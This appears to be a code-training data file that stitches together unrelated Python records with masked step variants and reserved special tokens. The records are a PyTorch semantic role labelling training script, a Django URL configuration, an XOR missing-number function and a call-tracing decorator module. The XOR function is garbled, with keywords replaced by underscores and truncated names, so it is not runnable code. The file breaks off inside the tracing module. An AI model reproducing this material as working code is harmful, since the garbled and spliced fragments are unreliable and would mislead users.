model = BiAffineSrlModel(vocabs=trainset.vocabs)
optimizer = torch.optim.Adam(model.parameters(), lr=0.01)
since = time.time()
best_model_wts = copy.deepcopy(model.state_dict())
best_f = FScore()
for epoch in range(num_epochs):
print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)
print('-' * 10, file=sys.stderr)
for phase in ['train', 'dev']:
model.train(phase == 'train')
running_loss = 0.0
running_f = FScore()
for sentence in pb.progressbar(trainset.get_set(phase)):
model.zero_grad()
role_p = model(*sentence['inputs'])
_, predict = torch.max(role_p, 1)
loss = lossfunction(role_p, autograd.Variable(sentence[
'targets'][0]))
if phase == 'train':
loss.backward()
optimizer.step()
if epoch > 28:
print(predict.data)
print(sentence['targets'][0])
running_loss += loss.data[0]
running_f.update(predict, sentence['targets'][0])
print('\n{} Loss: {:.4f} {}'.format(phase, running_loss,
running_f), file=sys.stderr)
if phase == 'dev' and running_f > best_f:
best_f = running_f
best_model_wts = copy.deepcopy(model.state_dict())
print('', file=sys.stderr)
time_elapsed = time.time() - since
print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,
time_elapsed % 60), file=sys.stderr)
print('Best val F: {}s'.format(best_f), file=sys.stderr)
model.load_state_dict(best_model_wts)
return model
if __name__ == '__main__':
config.parse_args()
torch.manual_seed(config.get_option('seed'))
mode = config.get_option('mode')
if mode == 'train':
train()
else:
NotImplementedError()
<|reserved_special_token_1|>
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import torch
from torch import nn, autograd
import config
import time
import copy
import progressbar as pb
from dataset import TrainDataSet
from model import BiAffineSrlModel
from fscore import FScore
config.add_option('-m', '--mode', dest='mode', default='train', type='string', help='[train|eval|pred]', action='store')
config.add_option('--seed', dest='seed', default=1, type='int', help='torch random seed', action='store')
def train(num_epochs = 30):
lossfunction = nn.CrossEntropyLoss()
trainset = TrainDataSet()
model = BiAffineSrlModel(vocabs=trainset.vocabs)
optimizer = torch.optim.Adam(model.parameters(), lr=0.01)
since = time.time()
best_model_wts = copy.deepcopy(model.state_dict())
best_f = FScore()
for epoch in range(num_epochs):
print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)
print('-' * 10, file=sys.stderr)
for phase in ['train', 'dev']:
model.train(phase == 'train')
running_loss = 0.0
running_f = FScore()
for sentence in pb.progressbar(trainset.get_set(phase)):
model.zero_grad()
role_p = model(*sentence['inputs'])
_, predict = torch.max(role_p, 1)
loss = lossfunction(role_p, autograd.Variable(sentence['targets'][0]))
if phase == 'train':
loss.backward()
optimizer.step()
if epoch > 28:
print(predict.data)
print(sentence['targets'][0])
running_loss += loss.data[0]
running_f.update(predict, sentence['targets'][0])
print('\n{} Loss: {:.4f} {}'.format(phase, running_loss, running_f), file=sys.stderr)
if phase == 'dev' and running_f > best_f:
best_f = running_f
best_model_wts = copy.deepcopy(model.state_dict())
print('', file=sys.stderr)
time_elapsed = time.time() - since
print('Training complete in {:.0f}m {:.0f}s'.format(
time_elapsed // 60, time_elapsed % 60), file=sys.stderr)
print('Best val F: {}s'.format(best_f), file=sys.stderr)
model.load_state_dict(best_model_wts)
return model
if __name__ == '__main__':
config.parse_args()
torch.manual_seed(config.get_option('seed'))
mode = config.get_option('mode')
if mode == 'train':
train()
else:
NotImplementedError()
|
flexible
|
{
"blob_id": "038ccba05113fb7f2f589eaa7345df53cb59a5af",
"index": 18,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef train(num_epochs=30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence[\n 'targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss,\n running_f), file=sys.stderr)\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,\n time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n model.load_state_dict(best_model_wts)\n return model\n\n\n<mask token>\n",
"step-3": "<mask token>\nconfig.add_option('-m', '--mode', dest='mode', default='train', type=\n 'string', help='[train|eval|pred]', action='store')\nconfig.add_option('--seed', dest='seed', default=1, type='int', help=\n 'torch random seed', action='store')\n\n\ndef train(num_epochs=30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence[\n 'targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss,\n running_f), file=sys.stderr)\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,\n time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n model.load_state_dict(best_model_wts)\n return model\n\n\nif __name__ == '__main__':\n config.parse_args()\n torch.manual_seed(config.get_option('seed'))\n mode = config.get_option('mode')\n if mode == 'train':\n train()\n else:\n NotImplementedError()\n",
"step-4": "import sys\nimport torch\nfrom torch import nn, autograd\nimport config\nimport time\nimport copy\nimport progressbar as pb\nfrom dataset import TrainDataSet\nfrom model import BiAffineSrlModel\nfrom fscore import FScore\nconfig.add_option('-m', '--mode', dest='mode', default='train', type=\n 'string', help='[train|eval|pred]', action='store')\nconfig.add_option('--seed', dest='seed', default=1, type='int', help=\n 'torch random seed', action='store')\n\n\ndef train(num_epochs=30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence[\n 'targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss,\n running_f), file=sys.stderr)\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,\n time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n model.load_state_dict(best_model_wts)\n return model\n\n\nif __name__ == '__main__':\n config.parse_args()\n torch.manual_seed(config.get_option('seed'))\n mode = config.get_option('mode')\n if mode == 'train':\n train()\n else:\n NotImplementedError()\n",
"step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport torch\nfrom torch import nn, autograd\nimport config\nimport time\nimport copy\nimport progressbar as pb\nfrom dataset import TrainDataSet\nfrom model import BiAffineSrlModel\nfrom fscore import FScore\n\nconfig.add_option('-m', '--mode', dest='mode', default='train', type='string', help='[train|eval|pred]', action='store')\nconfig.add_option('--seed', dest='seed', default=1, type='int', help='torch random seed', action='store')\n\ndef train(num_epochs = 30):\n lossfunction = nn.CrossEntropyLoss()\n trainset = TrainDataSet()\n model = BiAffineSrlModel(vocabs=trainset.vocabs)\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n\n since = time.time()\n best_model_wts = copy.deepcopy(model.state_dict())\n best_f = FScore()\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)\n print('-' * 10, file=sys.stderr)\n for phase in ['train', 'dev']:\n model.train(phase == 'train')\n running_loss = 0.0\n running_f = FScore()\n\n for sentence in pb.progressbar(trainset.get_set(phase)):\n model.zero_grad()\n role_p = model(*sentence['inputs'])\n _, predict = torch.max(role_p, 1)\n loss = lossfunction(role_p, autograd.Variable(sentence['targets'][0]))\n if phase == 'train':\n loss.backward()\n optimizer.step()\n if epoch > 28:\n print(predict.data)\n print(sentence['targets'][0])\n running_loss += loss.data[0]\n running_f.update(predict, sentence['targets'][0])\n\n print('\\n{} Loss: {:.4f} {}'.format(phase, running_loss, running_f), file=sys.stderr)\n\n if phase == 'dev' and running_f > best_f:\n best_f = running_f\n best_model_wts = copy.deepcopy(model.state_dict())\n print('', file=sys.stderr)\n\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60), file=sys.stderr)\n print('Best val F: {}s'.format(best_f), file=sys.stderr)\n\n model.load_state_dict(best_model_wts)\n return model\n\n\nif __name__ == '__main__':\n config.parse_args()\n torch.manual_seed(config.get_option('seed'))\n mode = config.get_option('mode')\n if mode == 'train':\n train()\n else:\n NotImplementedError()\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
"""helloworld URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
https://docs.djangoproject.com/zh-hans/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
#example:
# python3.0
from django.contrib import admin
# 为何要用 path呢
from django.urls import path, include
from django.conf.urls import url
from . import view
# 如何链接其他文件模块下的路径呢
#
urlpatterns = [
# path('hello/', view.hello),
# path('hello/<int:year>/', view.hello), # hello()中要有对应的参数
# path('ifor/', view.ifor),
path('admin/', admin.site.urls),
# path('blog/', blog.views.goodbye),
# path('', include('blog.urls.py', namespace='blog')), # 错误
path('', include('blog.urls', namespace='blog')),
# url(r'^hello/$', view.hello),
url(r'^hello/([0-9]{4})/$', view.hello),
url(r'^ifor/', view.ifor),
# url(r'^blog/', 'blog.views.goodbye')
#
]
"""
# python 2.7
from django.conf.urls import url
from . import view
urlpatterns = [
url(r'^$', view.hello),
]
"""
|
normal
|
{
"blob_id": "a470aad80e47b244811e4d9aed4a630ba36a8daf",
"index": 4112,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurlpatterns = [path('admin/', admin.site.urls), path('', include(\n 'blog.urls', namespace='blog')), url('^hello/([0-9]{4})/$', view.hello),\n url('^ifor/', view.ifor)]\n<mask token>\n",
"step-3": "<mask token>\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls import url\nfrom . import view\nurlpatterns = [path('admin/', admin.site.urls), path('', include(\n 'blog.urls', namespace='blog')), url('^hello/([0-9]{4})/$', view.hello),\n url('^ifor/', view.ifor)]\n<mask token>\n",
"step-4": "\"\"\"helloworld URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\n https://docs.djangoproject.com/zh-hans/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\n\"\"\"\n#example:\n\n# python3.0\nfrom django.contrib import admin\n\n# 为何要用 path呢\nfrom django.urls import path, include\n\nfrom django.conf.urls import url\n\nfrom . import view\n\n# 如何链接其他文件模块下的路径呢\n# \nurlpatterns = [\n\t# path('hello/', view.hello),\n \n # path('hello/<int:year>/', view.hello), # hello()中要有对应的参数\n\t# path('ifor/', view.ifor),\n path('admin/', admin.site.urls),\n # path('blog/', blog.views.goodbye),\n # path('', include('blog.urls.py', namespace='blog')), # 错误\n path('', include('blog.urls', namespace='blog')),\n # url(r'^hello/$', view.hello),\n url(r'^hello/([0-9]{4})/$', view.hello),\n url(r'^ifor/', view.ifor),\n # url(r'^blog/', 'blog.views.goodbye')\n # \n \n\n]\n\n\"\"\"\n# python 2.7\nfrom django.conf.urls import url\n \nfrom . import view\n \nurlpatterns = [\n url(r'^$', view.hello),\n]\n\"\"\"",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
___ findmissingnumberusingxor(myarray
print "Given Array:", myarray
#print "Len of the Array:", len(myarray)
arraylen _ l..(myarray)
xorval _ 0
#print "In the First loop"
___ i __ r..(1, arraylen + 2
#print xorval,"^",i,"is",xorval^i
xorval _ xorval ^ i
#print "In the Next loop"
___ i __ r..(0, arraylen
#print xorval,"^",myarray[i],"is",xorval^myarray[i]
xorval _ xorval ^ myarray[i]
print "Missing number is ", xorval
myarray _ [12, 8, 2, 1, 4, 6, 5, 7, 9, 3, 11]
findmissingnumberusingxor(myarray)
|
normal
|
{
"blob_id": "892dd4259950c66669b21c5dbc7b738ddb5aa586",
"index": 5734,
"step-1": "\n___ findmissingnumberusingxor(myarray\n print \"Given Array:\", myarray\n #print \"Len of the Array:\", len(myarray)\n\tarraylen _ l..(myarray)\n\txorval _ 0\n #print \"In the First loop\"\n\t___ i __ r..(1, arraylen + 2\n #print xorval,\"^\",i,\"is\",xorval^i\n\t\txorval _ xorval ^ i\n #print \"In the Next loop\"\n\t___ i __ r..(0, arraylen\n #print xorval,\"^\",myarray[i],\"is\",xorval^myarray[i]\n\t\txorval _ xorval ^ myarray[i]\n\tprint \"Missing number is \", xorval\nmyarray _ [12, 8, 2, 1, 4, 6, 5, 7, 9, 3, 11]\nfindmissingnumberusingxor(myarray)\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
<|reserved_special_token_0|>
class TracePoint:
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
@staticmethod
def clear():
TracePoint.classes = []
TracePoint.funcs = []
TracePoint.flow = []
def __init__(self, cls, func, t):
if cls not in TracePoint.classes:
TracePoint.classes.append(cls)
if cls not in TracePoint.funcs:
TracePoint.funcs.append(func)
TracePoint.flow.append(','.join([cls, t, func]))
def render_flow(self):
first = TracePoint.flow[0]
recods = set()
for no, i in enumerate(TracePoint.flow[1:]):
cls, t, func = i.split(',', 2)
fcls, ft, ffunc = first.split(',', 2)
fn = func.split('(')[0]
ffn = ffunc.split('(')[0]
label = '{l} -> {c}'.format(l=ffn, c=fn)
if label in recods:
continue
recods.add(label)
lc, _ = self.get_color(cls, func)
yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format(
no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)
first = i
def render_var(self, one):
cls, t, func = one.strip().split(',', 2)
color, color_f = self.get_color(cls, func)
fn = func.split('(')[0]
tmp = (
'{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];'
.format(func_name=fn, color=color, color_f=color_f, cls=cls,
func=func))
return tmp
def get_color(self, cls, func):
base = 4096 // len(TracePoint.classes)
base_f = 4096 // len(TracePoint.funcs)
c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')
c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')
if len(c) < 4:
c = c + '0' * (4 - len(c))
if len(c_f) < 4:
c_f = c_f + '0' * (4 - len(c_f))
return c, c_f
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class TracePoint:
classes = []
funcs = []
flow = []
@staticmethod
def clear():
TracePoint.classes = []
TracePoint.funcs = []
TracePoint.flow = []
def __init__(self, cls, func, t):
if cls not in TracePoint.classes:
TracePoint.classes.append(cls)
if cls not in TracePoint.funcs:
TracePoint.funcs.append(func)
TracePoint.flow.append(','.join([cls, t, func]))
def render_flow(self):
first = TracePoint.flow[0]
recods = set()
for no, i in enumerate(TracePoint.flow[1:]):
cls, t, func = i.split(',', 2)
fcls, ft, ffunc = first.split(',', 2)
fn = func.split('(')[0]
ffn = ffunc.split('(')[0]
label = '{l} -> {c}'.format(l=ffn, c=fn)
if label in recods:
continue
recods.add(label)
lc, _ = self.get_color(cls, func)
yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format(
no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)
first = i
def render_var(self, one):
cls, t, func = one.strip().split(',', 2)
color, color_f = self.get_color(cls, func)
fn = func.split('(')[0]
tmp = (
'{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];'
.format(func_name=fn, color=color, color_f=color_f, cls=cls,
func=func))
return tmp
def get_color(self, cls, func):
base = 4096 // len(TracePoint.classes)
base_f = 4096 // len(TracePoint.funcs)
c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')
c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')
if len(c) < 4:
c = c + '0' * (4 - len(c))
if len(c_f) < 4:
c_f = c_f + '0' * (4 - len(c_f))
return c, c_f
def __repr__(self):
TEMP = """
digraph {
/* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */
node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
%s
}
"""
fcon = '\n\t'.join([self.render_var(i) for i in TracePoint.flow])
lcon = '\n\t'.join(self.render_flow())
return TEMP % (fcon + lcon)
def trace(cls):
def _func(func):
@functools.wraps(func)
def __run(*args, **kargs):
print(func.__name__, args, '|', kargs)
return func(*args, **kargs)
return __run
return _func
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class TracePoint:
classes = []
funcs = []
flow = []
@staticmethod
def clear():
TracePoint.classes = []
TracePoint.funcs = []
TracePoint.flow = []
def __init__(self, cls, func, t):
if cls not in TracePoint.classes:
TracePoint.classes.append(cls)
if cls not in TracePoint.funcs:
TracePoint.funcs.append(func)
TracePoint.flow.append(','.join([cls, t, func]))
def render_flow(self):
first = TracePoint.flow[0]
recods = set()
for no, i in enumerate(TracePoint.flow[1:]):
cls, t, func = i.split(',', 2)
fcls, ft, ffunc = first.split(',', 2)
fn = func.split('(')[0]
ffn = ffunc.split('(')[0]
label = '{l} -> {c}'.format(l=ffn, c=fn)
if label in recods:
continue
recods.add(label)
lc, _ = self.get_color(cls, func)
yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format(
no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)
first = i
def render_var(self, one):
cls, t, func = one.strip().split(',', 2)
color, color_f = self.get_color(cls, func)
fn = func.split('(')[0]
tmp = (
'{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];'
.format(func_name=fn, color=color, color_f=color_f, cls=cls,
func=func))
return tmp
def get_color(self, cls, func):
base = 4096 // len(TracePoint.classes)
base_f = 4096 // len(TracePoint.funcs)
c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')
c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')
if len(c) < 4:
c = c + '0' * (4 - len(c))
if len(c_f) < 4:
c_f = c_f + '0' * (4 - len(c_f))
return c, c_f
def __repr__(self):
TEMP = """
digraph {
/* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */
node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
%s
}
"""
fcon = '\n\t'.join([self.render_var(i) for i in TracePoint.flow])
lcon = '\n\t'.join(self.render_flow())
return TEMP % (fcon + lcon)
def trace(cls):
def _func(func):
@functools.wraps(func)
def __run(*args, **kargs):
print(func.__name__, args, '|', kargs)
return func(*args, **kargs)
return __run
return _func
def trace_cls(method):
def _trace_cls(cls):
orig_getattribute = cls.__getattribute__
def new_getattribute(self, name):
if name in cls.__dict__:
f = getattr(cls, name)
args = '(%s)' % ', '.join(f.__code__.co_varnames)
t = str(time.time())
if 'http://' in method:
requests.post('http://localhost:12222/', data={'class':
cls.__name__, 'fun': name + args, 'time': t})
else:
with open(method, 'a+') as fp:
s = ','.join([cls.__name__, t, name + args])
fp.write(s + '\n')
return orig_getattribute(self, name)
cls.__getattribute__ = new_getattribute
return cls
return _trace_cls
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-l', '--load', default=None, help='loadfile')
parser.add_argument('--url', default='http://localhost:12222', help=
'debug server')
args = parser.parse_args()
with open(args.load) as fp:
for l in fp:
cls, t, func = l.strip().split(',', 2)
requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}
)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class TracePoint:
classes = []
funcs = []
flow = []
@staticmethod
def clear():
TracePoint.classes = []
TracePoint.funcs = []
TracePoint.flow = []
def __init__(self, cls, func, t):
if cls not in TracePoint.classes:
TracePoint.classes.append(cls)
if cls not in TracePoint.funcs:
TracePoint.funcs.append(func)
TracePoint.flow.append(','.join([cls, t, func]))
def render_flow(self):
first = TracePoint.flow[0]
recods = set()
for no, i in enumerate(TracePoint.flow[1:]):
cls, t, func = i.split(',', 2)
fcls, ft, ffunc = first.split(',', 2)
fn = func.split('(')[0]
ffn = ffunc.split('(')[0]
label = '{l} -> {c}'.format(l=ffn, c=fn)
if label in recods:
continue
recods.add(label)
lc, _ = self.get_color(cls, func)
yield '{l} -> {c} [label="<span style=\'color:gray;\'>{t}</span>|<span style=\'font-size:18px;color:red\'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];'.format(
no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)
first = i
def render_var(self, one):
cls, t, func = one.strip().split(',', 2)
color, color_f = self.get_color(cls, func)
fn = func.split('(')[0]
tmp = (
'{func_name} [labelType="html" label="<span style=\'font-size:28px;color:{color_f}\'>{func}</span><span style=\'color:{color};\'>class:{cls}</span>"];'
.format(func_name=fn, color=color, color_f=color_f, cls=cls,
func=func))
return tmp
def get_color(self, cls, func):
base = 4096 // len(TracePoint.classes)
base_f = 4096 // len(TracePoint.funcs)
c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')
c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')
if len(c) < 4:
c = c + '0' * (4 - len(c))
if len(c_f) < 4:
c_f = c_f + '0' * (4 - len(c_f))
return c, c_f
def __repr__(self):
TEMP = """
digraph {
/* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */
node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
%s
}
"""
fcon = '\n\t'.join([self.render_var(i) for i in TracePoint.flow])
lcon = '\n\t'.join(self.render_flow())
return TEMP % (fcon + lcon)
def trace(cls):
def _func(func):
@functools.wraps(func)
def __run(*args, **kargs):
print(func.__name__, args, '|', kargs)
return func(*args, **kargs)
return __run
return _func
def trace_cls(method):
def _trace_cls(cls):
orig_getattribute = cls.__getattribute__
def new_getattribute(self, name):
if name in cls.__dict__:
f = getattr(cls, name)
args = '(%s)' % ', '.join(f.__code__.co_varnames)
t = str(time.time())
if 'http://' in method:
requests.post('http://localhost:12222/', data={'class':
cls.__name__, 'fun': name + args, 'time': t})
else:
with open(method, 'a+') as fp:
s = ','.join([cls.__name__, t, name + args])
fp.write(s + '\n')
return orig_getattribute(self, name)
cls.__getattribute__ = new_getattribute
return cls
return _trace_cls
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-l', '--load', default=None, help='loadfile')
parser.add_argument('--url', default='http://localhost:12222', help=
'debug server')
args = parser.parse_args()
with open(args.load) as fp:
for l in fp:
cls, t, func = l.strip().split(',', 2)
requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}
)
if __name__ == '__main__':
main()
<|reserved_special_token_1|>
import functools
import requests
import time
import argparse
class TracePoint:
classes = []
funcs = []
flow = []
@staticmethod
def clear():
TracePoint.classes = []
TracePoint.funcs = []
TracePoint.flow = []
def __init__(self, cls, func, t):
if cls not in TracePoint.classes:
TracePoint.classes.append(cls)
if cls not in TracePoint.funcs:
TracePoint.funcs.append(func)
TracePoint.flow.append(",".join([cls,t, func]))
def render_flow(self):
first = TracePoint.flow[0]
recods = set()
for no,i in enumerate(TracePoint.flow[1:]):
cls,t, func = i.split(',',2)
fcls,ft, ffunc = first.split(',', 2)
fn = func.split("(")[0]
ffn = ffunc.split("(")[0]
label = "{l} -> {c}".format(l=ffn, c=fn)
if label in recods:
continue
recods.add(label)
lc,_ = self.get_color(cls, func)
yield """{l} -> {c} [label="<span style='color:gray;'>{t}</span>|<span style='font-size:18px;color:red'>{no}</span>" labelType="html" lineInterpolate=basis arrowheadStyle="fill: {lc}" style="stroke: {lc}; stroke-width: 1px;"];""".format(no=no,l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)
first = i
def render_var(self, one):
cls,t, func = one.strip().split(",", 2)
color, color_f = self.get_color(cls, func)
fn = func.split("(")[0]
tmp = """{func_name} [labelType="html" label="<span style='font-size:28px;color:{color_f}'>{func}</span><span style='color:{color};'>class:{cls}</span>"];""".format(func_name=fn, color=color,color_f=color_f,cls=cls, func=func)
return tmp
def get_color(self, cls, func):
base = 4096 // len(TracePoint.classes)
base_f = 4096 // len(TracePoint.funcs)
c = hex(base * TracePoint.classes.index(cls)).replace("0x", "#")
c_f = hex(base_f * TracePoint.funcs.index(func)).replace("0x", "#")
if len(c) < 4:
c = c + '0'* (4- len(c))
if len(c_f) < 4:
c_f = c_f + '0'* (4- len(c_f))
return c,c_f
def __repr__(self):
TEMP = """
digraph {
/* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */
node [rx=7 ry=7 labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
edge [labelStyle="font: 300 14px 'Helvetica Neue', Helvetica"]
%s
}
"""
fcon = "\n\t".join([self.render_var(i) for i in TracePoint.flow])
lcon = "\n\t".join(self.render_flow())
return TEMP % (fcon + lcon)
def trace(cls):
def _func(func):
@functools.wraps(func)
def __run(*args, **kargs):
print(func.__name__, args,"|" ,kargs)
return func(*args, **kargs)
return __run
return _func
def trace_cls(method):
def _trace_cls(cls):
# Get the original implementation
orig_getattribute = cls.__getattribute__
# Make a new definition
def new_getattribute(self, name):
if name in cls.__dict__:
f = getattr(cls, name)
args = "(%s)" % ', '.join(f.__code__.co_varnames)
t = str(time.time())
if "http://" in method:
requests.post("http://localhost:12222/", data={
'class':cls.__name__,
'fun':name + args,
'time':t,
})
else:
with open(method, "a+") as fp:
s = ",".join([cls.__name__,t,name + args])
fp.write(s + "\n")
return orig_getattribute(self, name)
# Attach to the class and return
cls.__getattribute__ = new_getattribute
return cls
return _trace_cls
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-l","--load",default=None,help="loadfile")
parser.add_argument("--url", default='http://localhost:12222',help="debug server")
args = parser.parse_args()
